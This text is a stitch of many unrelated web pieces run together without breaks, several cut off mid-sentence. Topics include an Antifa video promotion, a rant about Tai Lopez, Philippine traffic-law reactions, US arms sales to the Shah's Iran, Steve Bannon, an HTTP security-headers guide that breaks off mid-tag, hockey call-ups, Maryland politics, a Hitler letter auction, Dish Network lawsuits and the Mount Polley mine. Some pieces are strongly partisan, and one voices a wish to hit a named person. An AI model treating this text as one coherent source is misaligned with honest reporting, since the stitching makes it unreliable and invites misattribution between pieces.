Thanks to the Capitol Research Center, this important new video is available free for viewing online. Every American who loves this country and treasures freedom should see this video — immediately, if not sooner. And then, please help disarm the Antifa time bomb by spreading the video far and wide. And show your appreciation to our “Kiwi” friend, Trevor Loudon, a passionate defender of liberty and a true friend of America, by visiting his webpages TrevorLoudon.com and KeyWiki.com.
Photo at top: Screen-grab from America Under Siege: Antifa video
Related articles:
Promoting Antifa Mayhem
All About Antifa
Patriot Prayer: Inventing White Supremacists
Pelosi FINALLY Condemns Antifa — Still Waiting for Obama, Clinton, Schumer, Feinstein, Warren...
Radical Antifa Group Targets the Police
Leftist Dartmouth “Antifa Expert” Draws Academic Fire — and Support
Police Stand Down, Allow “Anti-hate” Anarchists to Attack Conservatives
Liberal Media: Cheerleaders for “Antifa” Communist Thugs
UC Berkeley and the Communist Plot to Kill Free Speech
How the Violent Hard-Left “Antifa” Movement Copies Communists in Weimar Republic Germany
N.Y. Times Aids Communist-socialist-feminist-LGBT-anarchist Plans for Inauguration Day Mayhem
Violence Planned for Trump Inauguration Exposed
“Love Trumps Hate!” — And if You Disagree, WE’LL KILL YOU!
Call for May Day Offensive Reveals Communist Direction of Occupy Wall Street Movement
Occupy Wall Street: Meet the Professors Behind ItSkip Ad
Skip Ad is absolutely about my disdain for Tai Lopez. If you’ve been watching videos on YouTube for the last month, I would be very surprised if you haven’t seen this “ad” yet. This guy is a complete and utterly condescending braggy douchebag. I’m amazed at how much this guy pisses me off. He has one of the most punchable faces I’ve ever seen. He has a punchable annoying voice too. God I want to hit this guy so badly. I hope he goes bankrupt and gets his stupid Lamborghini repossessed.
The first two panels are taken verbatim from the video, and it angers me how contradicting this jerkoff is. He says that he appreciates “more than materialistic things” and then immediately goes into how he’s proud of his two thousand NEW books he just bought. That many books bought at once is an absolutely materialistic thing. Madness, just pure madness. The worst case of humble-bragging I’ve ever witnessed.Where will you place your phone? Can dogs be on the dashboard? What about distracting passengers?
Published 9:10 PM, May 22, 2017
MANILA, Philippines – Confused about the rules of the Anti-Distracted Driving Act, Filipinos reacted with a mix of bewilderment, annoyance, and humor online.
The new law prohibits using cellphones or gadgets while behind the wheel, whether the vehicle is moving or at a stoplight. But motorists are complaining about the ambiguity of the rules, especially the definition of "line of sight" and what makes a gadget an obstruction.
Ironic how the anti-distracted driving law distracts everyone including Pinoy drivers. — Pau Bautista (@peepaubau) May 22, 2017
This anti-distracted driving law is too conflicted. Why not postpone implementation, review, & revise the IRR & then so massive public info? — elizabeth angsioco (@bethangsioco) May 22, 2017
If the government wants to implement the anti-distracted driving law, they should also reinforce the already existing traffic laws — Carlos (@thecarloscrisol) May 17, 2017
Does the @MMDA have quantifiable measures to gauge success of the Anti-distracted driving law? — Nadia (@nadz323) May 22, 2017
Some responded to the backlash, saying that people should be focusing more on the "essence of the law" – road safety.
but you don't have to be so condescending about it tho. You just have to realize that our roads will be so much safer in the process. — cheezy (@gzlach) May 22, 2017
I think we should limit the jokes/memes re the anti distracted driving act. Nakakamisinform yung iba. Keep the essence of the law in mind. — ABEL (@pabaebabe) May 22, 2017
As more people posted online about their confusion, some poked fun at the new law, asking ridiculous questions to authorities.
Is this allowed for the anti distracted driving act? pic.twitter.com/wZxuTQ32u6 — jan pizarras (@janpizarras) May 21, 2017
kasama po ba sa anti-distracted driving law yung mga dog na clingy? pic.twitter.com/MqdiexrHmk — rockbeat (@y3smxn) May 22, 2017
Prohibited rin po ba yung malanding passenger sa Anti-Distracted Driving Law? — Reginal (@_CALOka) May 22, 2017
Anti-distracted Driving Act be like.. pic.twitter.com/RKTeZCTHXZ — Nico Francisco (@nicooooneil) May 21, 2017
@MMDA good day po. Kasama po ba ito sa mga bawal sa ADDA? Kina-cramps na po kasama ko pero baka kasi kami hulihin. pic.twitter.com/2N7oIKR3Yb — kuyadriverofMNL (@kuyadrivermnl) May 21, 2017
@MMDA Bawal na ba tong mga village sticker and rosary ko? pic.twitter.com/Bg0dVaf0pN — Camps (@alyssacajayon) May 22, 2017
Yung bangka po namin may gadget sa dashboard. B&W lang naman waze nya, pero allowed po ba to? @MMDA pic.twitter.com/4hxTJDKvvu — Isel (@purpleportal) May 22, 2017
Others came up with hilarious ways to not get caught.
Several senators also think the rules need to be cleared up. In the meantime, they want the Department of Transportation to suspend the implementation of the Anti-Distracted Driving Act.
What do you think about the new law? Leave a comment below! – Rappler.comMohammed Reza Shah’s rule of Iran from 1942 until 1979 spanned eight U.S. presidents. His desire for military supremacy over his neighbors and his distrust of the Soviets led him to seek a military relationship with the United States following the end of the Second World War. As the U.S.-Iranian relationship developed, the idea of arming Iran came to form a key component of U.S. policy due to waning U.S. options in the Gulf through the 1960s and an alignment in U.S. and Iranian regional policies in the early 1970s. This relationship eventually resulted in Iran wielding a military that was, on paper, within reach of becoming the world’s fifth-most-advanced force in 1978.
By the time of Richard Nixon’s arrival in office in January 1969, Iran was already America’s single-largest arms purchaser. Whilst this is notable in and of itself, it is vastly overshadowed by what followed. By late 1972 Nixon leveraged U.S. Middle Eastern regional policy primarily around the focal point of a militarily strong, pro-American Iran. Concurrently, the Shah was encouraged, and empowered, to begin an unprecedented and virtually unmoderated military spending spree in what is now known as the “blank check.”
Nixon did this for two reasons. Firstly, the British decided to withdraw their military forces from the Gulf, leaving behind a vacuum of sorts. Secondly, the Vietnam quagmire stressed the limits of the direct application of U.S. power in peripheral areas. Iran seemed the obvious candidate to turn to. There was a legacy of U.S. investment going back to the 1953 coup that the CIA engineered with the British to restore the Shah’s autocracy after a left-leaning nationalist government had marginalised him. Other possible pro-U.S. candidates were eliminated from consideration: Saudi Arabia had languished in military redundancy beset by political instability, and moving any closer to Israel would risk pushing the Arab states further toward the Soviets.
Within the space of a few short months in 1972, the Shah purchased over $3 billion dollars of arms from the United States—a twentyfold increase on the prior year. For the remainder of the 1970s, the Shah continued to buy arms in the multibillions per annum, dwarfing all other U.S. allies such as Israel and the NATO nations. In the Shah, Washington had an ally who was willing to accept a position as a regional policeman and rich enough to afford to do so (due to his ever-rising oil income). In return, Iran secured a high-level alliance with its preferred side in the Cold War, a buffer against potential Soviet incursions from its northern border. It was a win-win scenario for both nations. Yet the “pros” in the arrangement overshadowed a series of significant “cons.”
The wisdom of choosing Iran as the primary vehicle for outsourcing containment in the Gulf was controversial in its very essence. Firstly, Iran was not an Arab nation like the majority of its neighbors. Secondly, the Iranian religious population was comprised of Shia Muslims rather than the regionally dominant Sunnis. Thirdly, under the Shah’s rule, Iran was widely perceived as an arrogant and status-quo-threatening regime by its neighbors. In sum, the Shah’s Iran was neither respected nor liked in the region. Therefore, investing in promoting Iranian hegemony as a proxy for American power was at odds with the reality in the wider region. Additionally, the disproportionate extent of the military investment in the Shah’s regime is partially responsible for the tide of anti-American sentiment that endures in Iran to this day. If the Shah had not been overthrown by the Iranians themselves in 1979, it is likely that wider regional opposition would have manifested to the Shah’s ambitions as his plans became ever grander. For those reasons, Nixon’s blank check and the policy package that surrounded it was an extremely risky bet.
When Nixon was forced to resign to avoid impeachment over the Watergate affair, the successor Gerald R. Ford administration found itself the steward for an Iran-arms policy that was under threat from within the administration and from Congress. Executive power had peaked in the Nixon years in what has been widely referred to as a period of imperial presidency. Yet by 1974 Congress had begun to recover lost ground. Congress continually battled with Ford for influence over military sales, with Iran at the forefront of concerns due to its extraordinarily large volume of purchases. The truth was, Congress was in the dark. It, and the public by extension, had no idea what was going on with U.S.-Iranian relations. Nixon had kept the arrangement secret. The majority of the mid-1970s was spent with Congress attempting to secure access and understanding over why the United States was arming Iran to such an extent—which the administration skillfully navigated in such a way as to stall and restrict progress.
Ford’s first secretary of defense, Jim Schlesinger, led a small cabal in the administration advising that the relationship with Iran was unwise. Schlesinger’s concern, which had traction in the Pentagon and in other departments such as USAID and the Treasury, was that Iran could not absorb the arms it was buying due to its primitive level of development. Reports that Iran had to regularly import such low-level personnel as truck drivers due to a lack of skills in its domestic workforce did not inspire confidence that it could operate its eighty F-14s and other advanced U.S. equipment. In that sense, the arms being sold required the presence of many thousands of U.S. support staff, who risked becoming a proxy U.S. military force deployed at the service of a foreign government—or a liability in the case of a security breakdown in Iran. Concurrently, the vast military budget of the Shah was stunting Iranian economic progress and could lead to unforeseen social problems. Schlesinger was sacked by Ford and replaced with Donald Rumsfeld, who together with Henry Kissinger ensured that any trends in Washington to upset the path of U.S.-Iranian arms policy were muted.
While Schlesinger’s concerns were legitimate, the security relationship was too important to suffer second guessing in the short term. Ultimately, Ford’s full approval for the military and strategic relationship that Nixon initiated with Iran ensured that the events of the early 1970s became the norm, rather than an irregularity. It was the act that sealed the fate of the United States in its relationship with the Shah.
Jimmy Carter triumphed in the Presidential election of 1976, partially on a popular platform of increased arms control and the introduction of human-rights considerations into U.S. foreign policy. Despite the Shah’s authoritarian nature and Iran being a prime example of an extreme arms policy, the post–1972 relationship with Iran largely endured. In 1977, Carter actually sold more arms to Iran than the United States had during any year prior.
Carter did introduce some nuance into the relationship by ending the blank-check culture that had characterized the Nixon/Ford years. Instead of approving all arms requests by default, he sought to moderate the Shah’s ambitions. In reality this had little effect on the overall relationship due to the Shah’s power of persuasion and the leverage he wielded as a pivotal ally in a sensitive region. The Shah continued to prepare arms-sale requests in the multibillions as late as mid-1978, safe in the knowledge that he had the backing of the new president, who had toasted the Shah as “a rock of stability” during a visit to Tehran over the New Year period of 1977-1978.
By maintaining the arms relationship with the Shah, Carter’s experience exemplifies the lack of alternatives that existed for U.S. regional policy by the late 1970s. After thirty years of investment and political winnowing, America’s regional options had become heavily leveraged on the Shah’s Iran. A path dependency had taken hold that even an antiarms president was powerless to materially alter. It had been no surprise that Ford continued to arm Iran. But witnessing the same advocacy from Carter is testament to the power and influence that Washington had outsourced to the Shah. The project was simply, in today’s jargon, too big to fail.
Unfortunately for U.S. policy makers, the Iranian people had other intentions in mind. Their removal of the Shah and his regime through the winter of 1978-1979 tore Iran from the United States, and a deeply hostile regime took power in Tehran. The largest deployment of U.S. arms in one single country fell into the hands of angry mobs shouting “death to America and Israel.”Former White House Strategist Steve Bannon vowed to cut off Senate Majority Leader Mitch McConnell’s (R-KY) fundraising sources to defeat the “establishment, globalist clique” on Capitol Hill that Bannon previously said was working to “nullify the 2016 election” because they have never believed in the economic nationalist agenda that got Trump elected.
“We’re going to cut off the oxygen to Mitch McConnell. Mitch McConnell’s biggest asset is the money,” Bannon said Monday on Fox News’ Hannity. “We’re going to make it the biggest liability. We’re going after these guys tooth and nail.”
He said that establishment fundraisers like Karl Rove and Steven Law, who poured in at least $10 million into the Alabama GOP Senate runoff against grassroots conservative candidate Roy Moore, “should get the joke” that some top donors “are coming to us because they’re tired of having their money burned up by trying to destroy people like Judge Moore.”
“It’s a new game in town,” Bannon said.
Rove and Law’s establishment American Crossroads groups infamously wasted $325 million during the 2012 election cycle with nothing to show for it. Donations to the groups reportedly dried up by 98% after Rove declared war on the Tea Party and amped up his efforts to protect establishment Republicans from grassroots conservative challengers.
Bannon has previously said Moore’s “grassroots muscle” prevailed against D.C. establishment Senator Luther Strange’s “corporate money” in the Alabama GOP Senate runoff. His comments to Hannity suggest some donors, who are sick and tired of having Messrs. Rove and Law again waste their money, may be as eager as the grassroots base to see Rove and Law’s influence diminished and the duo’s preferred candidates booted out of office.HTTP security headers seem to be findings on nearly every assessment I have been doing lately. I decided to come up with some handy quick references for these headers in order to better understand them. HTTP Response headers are a way for a server and client to exchange information. In this case, these headers are enforced to ensure that the client is protected from common client side vulnerabilities.
Content-Security-Policy
Content-Security-Policy – CSP is a HTTP security header that allows the web application to specify the source for any file that must be loaded from a separate domain. Its main use is to prevent cross-site scripting (XSS) and other injection techniques that load malicious data from an external source. An example of a CSP that restricts the source for all scripts, images and fonts would look like this:
Content-Security-Policy: default-src'self'
If you were to add sources for other script, you could simply append the trusted domain. It even accepts wildcards for specifying subdomains.
Content-Security-Policy: default-src'self' *.jordanpotti.com
You can get more granular and specify image-src, media-src, child-src and a host of other restrictions. You can also use report-uri in order to POST reports of policy failures to a URI of your choice. Here is an example of that:
Reporting these violations could give your developers diagnostic information as well as possibly alert you to a vulnerability or attempt to exploit a vulnerability.
Perhaps the most beneficial feature is CSP’s ability to prohibit inline JavaScript from executing. This prevents malicious code from being inserted into the page, the downside is that you now have to migrate all of you JavaScript to External Resources. Using External Resources is best practice so doing this increases your security as well as code cleanliness.
For more information on CSP, visit: https://content-security-policy.com/
Subresource Integrity:
Subresource Integrity – SRI is similar to CSP as it applies a layer of security to the scripts and other external data sources your application may use. SRI works by verifying the hash of an external data source before attempting to use it. This works by taking the hash of the external data and placing it in an ‘integrity’ attribute inside a <script> or <link> element. If the external data source inside that element do not match the provided integrity hash value, the resource is not loaded.
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js |
fact, possessed of a secret and incredible destiny.
The figure, who calls himself Dr. Quantum, says that his memory problem is not a problem at all, but rather is an immunity... a special power pertaining to the very fabric of time itself. He enlists the young man to take part in a great adventure against a deadly adversary, and to use his powers and intellect to solve some of the most dangerous conspiracies, puzzles and mysteries in our history. Mysteries that will, when solved, unlock some of the most fundamental and fascinating Truths of the Universe itself!
GAMEPLAY
The game is a streamlined, modern take on the Alternate Reality Game (ARG) genre. Each puzzle is presented as a titillating combination of text, images, sound, video, and 3D objects. The puzzles lead you on through the storyline, integrating and building upon the mysteries you've already uncovered, and revealing deeper and more complex enigmas that will amaze, thrill, and even scare you. Be warned: the solutions to the puzzles are not easy to discover, and may be hidden in history, obscured by cryptograms, embedded within steganographic images, concealed within riddles, shrouded in history, or guarded by any number of other dark concealments.
The game intends to connect you with reality, so you are encouraged to use any real-world resources available to you: Internet, Books, Library, Encyclopedias, ANYTHING! Well, except Spoilers, for obvious reasons :P
You are only limited by your imagination.
Think laterally, think outside the box, home in on information like a librarian with a neural net co-processor... do whatever you must to Move Forward and Solve the Mysteries!
Come, Take a Stand! Find the Truth. Reveal the Secrets of the Universe and Repel The Temporal Invasion!
Steam Store Page
**The Paid version includes Steam key + Free Updates
Support Us
If you really liked this GAME,You can support the Development by doing all or just any of the following
Subscribe to our Facebook and Twitter Page
Sharing this game with your friends ;)
Even dropping a Comment/Review is valuable for us ;)
Any kind of support would be helpful to use..Nashville, Tenn. (November 8, 2016) - Nashville Predators President of Hockey Operations/General Manager David Poile announced Tuesday that the club has recalled forward Pontus Aberg and goalie Juuse Saros from Milwaukee (AHL), and assigned forward Kevin Fiala and goalie Marek Mazanec to Milwaukee.
Aberg, 23 (9/23/93), leads the Admirals in points (9), goals (5) and shots on goal (28) this season, and has added four assists in nine games. In his last game on Saturday, Aberg tallied two goals and recorded an assist to extend his point streak to three games (10/30-11/5: 4g-3a). The Stockholm, Sweden, native played in two Stanley Cup Playoff games with the Predators last season.
Saros, 21 (4/19/95), is 6-1-0 with a 1.99 goals-against average and.929 save percentage in seven games with the Admirals this season. Recalled on an emergency basis to the Preds on Oct. 22, Saros started and earned the win in a 5-1 victory against Pittsburgh. He stopped 34 of the 35 shots he faced, allowing just one goal in 59:22 of ice time. It was Saros' first career NHL victory and second NHL game.Guests: Chris Fairbanks Chris Fairbanks Guests: Jackie Kashian Jackie Kashian Guests: Gemma Whelan Gemma Whelan Guests: Andy Zaltzman Andy Zaltzman
Chris Fairbanks, Jackie Kashian, Gemma Whelan and Andy Zaltzman join host, Dave Holmes for pop culture quizzing about Shakespeare, scandals and corporations cack-handedly trying to memorialise Prince.
Chris Fairbanks wants to plug his TV show Almost Genius and his podcast Do You Need A Ride. Chris also recommends the Ted Cruz Bad Lip Reading video.
Jackie Kashian wants to plug her podcasts The Dork Forest and The Jackie and Laurie Show and recommends Maria Bamford's new Netflix show Lady Dynamite.
Gemma Whelan wants to plug her work in Game of Thrones, Upstart Crow and Horrible Histories. Gemma recommends Sara Pascoe's new book, Animal.
Andy Zaltzman wants to plug his up-coming Edinburgh Fringe show Plan Z. You can follow Andy on Twitter @ZaltzCricket for cricket-based tweets and @HelloBuglers for other stuff.
And finally, Dave Holmes is on Twitter @DaveHolmes and hosts his live quiz show, The Friday Forty at LA’s Meltdown Theatre on the second Friday of every month. Dave would like to recommend new MaxFun podcast The Beef and Dairy Network.
Thanks to Failbetter Games for sponsoring this week's episode. You can check out their new game Fallen London here.
You can let us know what you think of International Waters and suggest guests through our Facebook group or on Twitter.
Written by Sarah Morgan and Asterios Kokkinos, recorded at MaxFunHQ in LA and GuiltFreePost in London, produced by Jennifer Marmor and Colin Anderson.Some of the weapons collected in Wednesday's Los Angeles Gun Buyback event are showcased Thursday, Dec. 27, 2012 during a news conference at the LAPD headquarters in Los Angeles. Mayor Antonio Villaraigosa's office says the weapons collected Wednesday included 901 handguns, 698 rifles, 363 shotguns and 75 assault weapons. The buyback is usually held in May but was moved up in response to the Dec. 14 massacre of students and teachers at Sandy Hook Elementary School in Newtown, Conn. (AP Photo/Damian Dovarganes)
Gov. Martin O'Malley predicted that Maryland will ban assault weapons during the General Assembly session that began Wednesday.
"Their sole purpose is not for sport; it is to kill human beings -- as quickly and as many as possible, as effectively as possible," O'Malley said, referring to guns like the semiautomatic Bushmaster rifle used last month in the shooting deaths of 20 Connecticut children.
"I believe that we will, in fact, pass legislation that... restores the assault weapons ban," O'Malley said. Assault weapons have been legal in Maryland since a federal ban was allowed to expire in 2004. Several state lawmakers have said they will propose a ban.
The proposals are part of a broader push nationally for gun control legislation since the Newtown shootings. New York Gov. Andrew Cuomo also called Wednesday for tougher gun control laws in his state.
Senate President Thomas V. Mike Miller, meanwhile, said he believes the General Assembly will act to repeal the state's death penalty law as long as the governor "uses his persuasive techniques, of which he has many." Miller also predicted that the repeal legislation would be petitioned to referendum, leaving the matter to voters to decide in the 2014 election.
House Speaker Michael E. Busch said, "It's time to repeal the death penalty."
O'Malley, a death penalty opponent, has not said if he will make repeal part of his legislative agenda this year.
O'Malley, Miller and Busch offered comments on prospects for high-profile issues expected to dominate discussion in the next 90 days as the Assembly convened its 433rd legislative session in Annapolis to rounds of cheers and speeches. All three men are Democrats.
Remarks about the assault weapons ban and the death penalty came during a radio interview in which Miller and Busch raised concerns about the top legislative priority of city officials.
The Rawlings-Blake administration wants the state to promise Baltimore more than $30 million a year over the next two decades, which the city would then leverage to borrow more and create a $2.4 billion fund to repair crumbling school buildings.
Miller dismissed the idea as "ridiculous," since the state would be borrowing money to send the city, which in turn would use it to pay off more loans. "You don't borrow debt against debt," Miller said. "I'm all for funding schools, but you need to find another way to do it."
Busch questioned the financial risk to the state. And Miller criticized the city's handling of its finances, saying, "Baltimore City cannot meet its current fiscal obligations. We need to find a way to help them help themselves."
Mayor Stephanie Rawlings-Blake, who attended the opening-day festivities, said it's the city's job to sell its idea and allay lawmakers' concerns. Del. Curt Anderson, a Democrat who chairs the city's House delegation, said a study about to be concluded by state officials will show that "it really is not ridiculous."
Sen. Verna L. Jones-Rodwell, also a Baltimore Democrat, said city officials have yet to brief top leaders, including Miller, on the details of the plan, which is modeled after block-grant systems in other states.
"I'm sure once he gets all the information, he'll have a different comment," she said.
Miller and Busch were each re-elected to the leadership positions in their respective chambers before a crowd that included O'Malley, Lt. Governor Anthony Brown, U.S. Sens. Barbara Mikulski and Ben Cardin, Maryland congressional representatives and county executives.
The newly polished marble floor separating the two chambers was the site of wall-to-wall glad-handing, back-slapping, greetings and ribbings. Comptroller Peter Franchot likened the atmosphere to the first day of school. "Everybody's happy to be here, everybody's getting along," he said. "Then they start getting in fights in the schoolyard."
The session follows last year's unusually busy and emotionally charged legislative season, after which lawmakers were twice called back to Annapolis to finish state business. Four laws passed by the Assembly were subject to voter approval, giving some legislators the sense their work went unfinished until Election Day.
"It feels like we just left," Del. Adrienne A. Jones, a Baltimore County Democrat, said after colleagues re-elected her speaker pro tem.
Del. Tom Hucker's 16-month-old son, Sam, who last year spent opening day lying on his father's desk as an infant, this year reclined in the delegates' lounge and gave fist bumps to passing lawmakers. "It's a little bit like the dawn of springtime -- it's all about new possibilities," said Hucker, a Montgomery County Democrat.
In the basement of the State House, librarians resumed their posts at an information desk abandoned during the off-season. Shoe-shine operators set up shop nearby.
Outside the State House, lobbyists, interns and activists milled about Lawyer's Mall, the perennial arena for protests. There, Montgomery County Del. Heather Mizeur, a Democrat who has expressed interest in running for governor, urged opponents of hydraulic fracking to offer lawmakers a glass of dirty-brown water said to be a by-product of natural gas extraction.
Busch, who was first elected speaker a decade ago, told his colleagues that every year on the night before the session, he comes alone to the abandoned chamber and tries out the views from the seats of other delegates, including that of the Republican leader, Del. Anthony O'Donnell.
"It makes me realize what a privilege it is to serve in these great chambers," he said. "What a humbling experience it is for all of us to be important to this democracy."
ecox@baltsun.com ___
(c)2013 The Baltimore Sun
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Earlier this month, Wikipedia cofounder Jimmy Wales told conference-goers in Hong Kong that a whopping 87 percent of the site’s editors are men. It wasn’t the first time Wikipedia’s gender imbalance had played out in the media: In Februrary, staff acknowledged that it affected the online encyclopedia’s content, and a New York Times op-ed in April noted that Wikipedia editors had been moving women from the “American Novelists” category to the “American Women Novelists” subcategory.
So what’s a tech-savvy woman to do? “Storming Wikipedia,” a project of the feminist organization FemTechNet and an assignment given to students participating in FemTechNet’s new online course, is designed to fix this imbalance. During these exercises students edit Wikipedia en masse, “with the goal being to collaboratively write feminist thinking into the site,” says Alexandra Juhasz, professor of media studies at California’s Pitzer College and one of the course facilitators.
Students participating in the exercise will create and expand Wikipedia articles on influential women and encourage “feminists, academics, and activists to contribute to Wikipedia and help revolutionize its culture.” According to Inside Higher Ed, “students will be given lists of women who have played key roles in science and technology,” and will tweak articles to acknowledge their contributions.
FemTechNet, which Juhasz calls “a collective of international feminist scholars, artists, and activists,” is launching an online curriculum focused on educating people about the relationship between women and technology. Starting in September, instructors at 15 different colleges, including Brown, Yale, and Penn State University, will be offering “Dialogues on Feminism and Technology.” Students taking the course will study technology through a feminist lens using prerecorded videos featuring prominent feminist scholars.
“From a feminist perspective, we think of technology differently than just as objects or applications,” says Anne Balsamo, a course organizer and dean of the School of Media Studies at the New School in New York City. “Technology from a feminist perspective is social, cultural, technical objects or arrangements.”
And, importantly, it includes women.London, England (CNN) -- A letter written by Adolf Hitler in 1931 hoping for a "truly cordial relationship" between Britain and Germany goes on sale Tuesday and is estimated to fetch up to £12,000 at auction.
The one-page letter was addressed to Sefton Delmer, a British journalist, in which Hitler expressed hopes of a new friendship between the two countries to replace the "unhappy war-psychosis" that existed after the First World War:
Hitler wrote the letter 16 months before he became chancellor and seized power in 1933.
In the letter he said: "I hope... that out of this crisis a new readiness will grow up in Britain to submit the past twelve years to a reappraisal. I should be happy, if as a result of this the unhappy war-psychosis could be overcome on such a scale as to permit the realization of the truly cordial relationship between the British and the German peoples so eagerly desired by myself and my movement.
"For I believe that the crisis now breaking in on us can only be solved by the closest political collaboration of those nations who see in the re-establishment of a natural European balance of power the first precondition to dealing with those great world problems under which Britain too suffers today."
Andrew Roberts, the British military and political historian, said the letter was a classic example of Hitler trying to lull Western democracies into a state of appeasement.
Roberts said Hitler was saying there were underlying interests between Britain and Germany and that he wrote many such letters.
"He refers to 12 years which would make it 1919, the year the Versailles Treaty was signed... appeasement was his central message until the outbreak of war. Sefton Delmer would not have been taken in by any of this," said Roberts.
Auctioneers at Bonhams in London said the letter has remained in Delmer's family until now but they could not release the name of the person selling it.
Delmer was the Berlin correspondent of the Daily Express at the time when Hitler wrote the letter. He was born in Berlin and spent the first 15 years of his life there before his family were expatriated to the UK.
He is reported to be the first British journalist to interview Hitler, who he later described as a rather ordinary looking man with hair that had been arranged too carefully.MARK KARLIN, EDITOR OF BUZZFLASH AT TRUTHOUT
With the BP Gulf of Mexico ecological catastrophe perhaps 20 times the size of the Exxon Valdez spill, it may take decades to proceed with comprehensive restoration efforts in the Gulf, if the Valdez spill is an example.
According to the Public Employees for Environmental Responsibility (PEER):
In 1989, the tanker Exxon Valdez spilled more than 11 million gallons of crude oil on the Alaska coast. The $1 billion 1991 settlement with Exxon (now ExxonMobil) called for an added payment of up to $100 million for environmental damages unknown at the time of the settlement. In 2006, the U.S. and Alaska jointly submitted a demand that ExxonMobil pay $92 million to fund recovery for these injuries.
That $92 million government “Reopener” claim has never been collected.
Is government bureaucracy holding up this relatively small change in Exxon's compensation for massive ecological and economic loss in Alaska? It's not entirely clear. Much of the disastrous damage will never be resolved, but nearly 25 years later why is almost $100 million dollars in restoration funds uncollected and unused?
It's a good question, considering how the Gulf of Mexico and those who depend upon it economically may not see anything approaching a viable recovery for years. PEER reflects on the inexplicable hold-up in Alaska:
“Amazingly, it’s been seven years since the governments demanded this final payment but have yet to collect a dime,” commented Rick Steiner, a PEER Board Member and retired University of Alaska marine professor who sought to intervene in the case to break the logjam, a move seconded even by former Alaska Governor Frank Murkowski. The court ultimately ruled that unless one of the parties placed the disputed claim before it, the court could not order payment. “This stalemate may foreshadow the official neglect we can expect after spills that will surely occur from drilling in the Arctic Outer Continental Shelf.”
The coastal ecosystem injured by the Exxon Valdez spill is still a long way from full recovery. Lingering oil has been degrading at a far slower rate than anticipated and is still affecting natural resources at toxic levels. Several marine species, from herring to otters to orcas, have not yet recovered from the spill.
“This litigation is the environmental equivalent of Dickens’ Bleak House but it is the public’s estate that is withering away,” stated PEER Executive Director Jeff Ruch, noting that the 2010 Gulf BP blowout, which has yet to reach settlement of what will be multi-billion dollar civil damage payments, is more than 20 times the size of the Exxon Valdez spill. “This Reopener that won’t reopen should be an object lesson for how the civil damages recovery plan for the BP Gulf spill should be structured.”
When it comes to oil, the fossil fuel industry and the US government (Republican or Democrat) appear to regard oil spills as the price of doing business.
Out natural heritage and jobs that depend upon fresh water and a clean environment are inconsequential to the thirst for and massive profit of oil.
The only question is which massive spill will be next -- and when will we consider such catastrophes something more than the price we pay for a well-oiled lifestyle?Share
On the face of it, a DVR feature that allows viewers the chance to automatically skip over advertisements sounds like a win-win for everyone: The networks get to continue to sell ad time for the viewers who are watching in real-time (Everyone with DVRs already manually skips the commercials anyway, right…?), viewers get an easier way to avoid ads and Dish Network, the creator of “Auto-Hop”, gets new subscribers easy to take advantage of the new technology. So why has everything ended up in court less than two weeks after the announcement of the feature?
Today, Dish Network found itself being sued by Fox, CBS and NBCUniversal in separate lawsuits over the feature, while simultaneously launching its own lawsuit against the three networks and ABC to defend the legality of its creation. In a statement to the press, CBS explained its lawsuit as responding to a service that “takes existing network content and modifies it in a manner than is unauthorized and illegal. We believe this is a clear violation of copyright law and we intend to stop it.” Fox offered a similar explanation, with its statement saying that the broadcaster was “given no choice but to file suit against one of our largest distributors, Dish Network, because of their surprising move to market a product with the clear goal of violating copyrights and destroying the fundamental underpinnings of the broadcast television ecosystem. Their wrongheaded decision requires us to take swift action in order to aggressively defend the future of free, over-the-air television.”
NBC’s statement, however, was far more direct: “Advertising generates the revenue that makes it possible for local broadcast stations and national broadcast networks to pay for the creation of the news, sports and entertainment programming that are the hallmark of American broadcasting. Dish simply does not have the authority to tamper with the ads from broadcast replays on a wholesale basis for its own economic and commercial advantage.”
In response, Dish SVP of programming David Shull released his own statement, in which he said that “consumers should be able to fairly choose for themselves what they do and do not want to watch,” going on to make the eminently sensible point that “viewers have been skipping commercials since the advent of the remote control; we are giving them a feature they want and that gives them more control.”
In Dish’s own complaint against the networks – viewable here – the company argues that what’s at stake is “freedom of consumer choice [and] individual families’ choice to elect, if they want, to time shift their television viewing and watch recorded television without commercials.” Pushing back against claims that its Hopper box essentially bootlegs signals from the broadcasters, Dish argues that it is simply the next generation of DVR and VCR viewing, tools which have offered the chance to avoid ads for decades by this point. “The DISH Auto Hop feature does not alter or modigy the broadcast signal,” it makes a point of stating, directly contradicting claims put forward in Fox’s suit against the company.
The networks’ suits were filed in the US District Court of Los Angeles, with the Dish suit filed in the US District Court of New York.© Unknown
Moscow calls on the international community to exert influence on the Ukrainian authorities, Russian foreign ministry's envoy for human rights, democracy and the supremacy of law saysMoscow calls on the international community and human rights activists to press Kiev to have it take measures to normalize the water-supplies situation in Donbas, Konstantin Dolgov, Russian foreign ministry's envoy for human rights, democracy and the supremacy of law, said on Tuesday.He reminded that the last week's report of the Special Monitoring Mission to Ukraine of the Organization for Security and Cooperation in Europe (OSCE) "rightly qualifies""We think is of paramount importance to insist Kiev stop any actions that might deteriorate the catastrophic humanitarian situation in Donbas," Dolgov stressed. "It is a cynical Medieval method of war to deprive civilians of drinking water.""We call on the international community, including relevant human rights organizations and structures, to exert influence on the Ukrainian authorities," the Russian diplomat said.Three years on, Mount Polley disaster a painful reminder of never-ending horror
Photo by Jonathan Hayward/CP
Bev Sellers is constantly reminded about the deeply personal, social and cultural loss that she and others in her community of Williams Lake have suffered since the Mount Polley mine disaster in 2014. A few weeks ago, when the former Chief of the Xat’sull First Nation at Soda Creek, British Columbia was forced to evacuate her home because of the raging wildfires, she looked around and wondered what to take.
“What could I grab that I couldn’t replace?” she says, remembering looking around at her life’s belongings. “All kinds of history sits in my house. I sighed, asked the ancestors to keep everyone safe and made my decision. I gathered a couple of boxes of old pictures, took a walk around the house looking for what was important and eyed two flats of canned salmon that we got from the Band. I have not eaten Fraser River salmon in such a long time and because my children have connections in Nuxalk territory (Bella Coola) I am fortunate to be able to get some salmon from there. I took the canned salmon because to me, that is my gold. I couldn’t imagine leaving it and allowing it to be burnt up. Even though it is not from our territory, that salmon, or at least some of it, would have been born in the Quesnel Lake area.”
